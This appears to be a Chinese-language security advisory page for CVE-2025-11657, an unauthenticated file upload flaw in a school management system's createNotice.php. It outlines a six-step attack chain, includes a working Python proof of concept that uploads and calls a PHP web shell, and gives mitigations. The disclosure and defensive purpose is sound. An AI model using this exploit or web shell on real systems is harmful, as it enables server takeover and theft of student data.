IPBUF安全漏洞报告
English
CVE-2025-11657 CVSS 7.3 高危

CVE-2025-11657:ProjectsAndPrograms学校管理系统未授权文件上传漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-11657
漏洞类型
未授权文件上传(Unrestricted File Upload)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ProjectsAndPrograms School Management System

相关标签

文件上传未授权访问远程代码执行Web ShellProjectsAndPrograms学校管理系统PHP高危漏洞CVE-2025-11657

漏洞概述

CVE-2025-11657是ProjectsAndPrograms学校管理系统(School Management System)中存在的一个高危安全漏洞,CVSS评分为7.3分。该漏洞存在于系统的/assets/createNotice.php文件中,具体涉及对File参数的处理逻辑存在缺陷,导致攻击者可以执行未授权的文件上传操作。由于该漏洞可以被远程利用且无需任何身份认证,攻击者可以在未经授权的情况下向服务器上传任意文件,包括但不限于Web Shell、恶意脚本等可执行文件,从而获取服务器控制权限。该漏洞已于2025年10月13日公开披露,且漏洞利用代码已在GitHub等公开渠道发布。由于ProjectsAndPrograms School Management System采用滚动发布(Rolling Release)模式进行持续更新,因此无法明确指出受影响的特定版本号,所有使用该系统的部署实例均可能受到影响。此类漏洞对教育机构的信息安全构成严重威胁,可能导致敏感学生数据泄露、系统被篡改或用于进一步的网络攻击活动。

技术细节

该漏洞的核心问题出现在/assets/createNotice.php文件中的文件上传处理逻辑中。具体而言,应用程序在处理公告创建请求时,对用户通过File参数上传的文件缺乏充分的安全验证,包括但不限于以下方面:1)文件类型验证缺失——未对上传文件的MIME类型或扩展名进行白名单校验;2)文件内容检测缺失——未对文件内容进行恶意代码检测;3)上传路径可控——上传文件的存储路径可能受用户输入影响;4)身份认证缺失——该接口未要求用户登录即可访问。攻击者可以利用这些缺陷构造恶意HTTP请求,通过POST方法向/assets/createNotice.php提交包含恶意文件的multipart/form-data数据。由于攻击无需认证(PR:N)且无需用户交互(UI:N),攻击者可以通过自动化工具大规模扫描并利用此漏洞。上传成功后,攻击者可以通过访问上传文件的路径执行恶意代码,实现远程命令执行,完全控制目标服务器。漏洞利用代码已在GitHub公开(https://github.com/qqy-123/cve/issues/2),降低了利用门槛。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎Shodan、Censys或FOFA等网络空间搜索引擎,搜索暴露在公网上的ProjectsAndPrograms School Management System实例,识别/assets/createNotice.php文件路径的存在。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意PHP Web Shell文件的multipart/form-data HTTP POST请求,通过File参数提交至目标服务器,无需任何身份认证信息。
STEP 3
步骤3:上传恶意文件
由于服务端缺乏文件类型和内容的验证机制,恶意PHP文件成功上传至服务器的Web可访问目录中。
STEP 4
步骤4:执行远程代码
攻击者通过浏览器或命令行工具访问上传的Web Shell文件路径,传递系统命令参数,实现远程命令执行。
STEP 5
步骤5:获取服务器控制权
攻击者通过Web Shell执行任意系统命令,读取敏感数据、安装后门程序、进行横向移动,最终完全控制目标服务器。
STEP 6
步骤6:持久化与数据窃取
攻击者在服务器上植入持久化后门,窃取学校管理系统中的学生信息、教务数据等敏感信息,或将服务器纳入僵尸网络用于DDoS攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11657 - ProjectsAndPrograms School Management System # Unrestricted File Upload Vulnerability PoC # Affected file: /assets/createNotice.php # Parameter: File import requests target_url = "http://target-server.com" upload_endpoint = "/assets/createNotice.php" # Create a malicious PHP webshell payload php_shell_content = "<?php echo 'VULNERABLE'; system($_GET['cmd']); ?>" # Prepare the file payload for upload files = { 'File': ('shell.php', php_shell_content, 'application/x-php') } # Additional form data that might be required data = { 'noticeTitle': 'Test Notice', 'noticeContent': 'Test Content', 'noticeDate': '2025-10-13' } # Send the malicious upload request (no authentication required) response = requests.post( target_url + upload_endpoint, files=files, data=data ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # After successful upload, access the webshell if response.status_code == 200: shell_url = f"{target_url}/assets/uploads/shell.php?cmd=id" shell_response = requests.get(shell_url) print(f"Shell Response: {shell_response.text}")

影响范围

ProjectsAndPrograms School Management System(所有采用滚动发布模式的版本,截至commit 6b6fae5426044f89c08d0dd101c7fa71f9042a59)

防御指南

临时缓解措施
在等待官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx的location指令或Apache的.htaccess)禁止/assets/目录的PHP脚本执行权限;2)在WAF中添加针对/assets/createNotice.php接口的访问控制规则,仅允许授权IP访问;3)实施网络层面的访问限制,将学校管理系统部署在内网环境,仅对必要的用户开放访问;4)定期检查/assets/目录下的文件,及时发现并清理可疑的上传文件;5)监控系统日志,设置文件上传行为告警,及时发现异常上传活动;6)考虑临时禁用文件上传功能,仅保留公告文本编辑能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表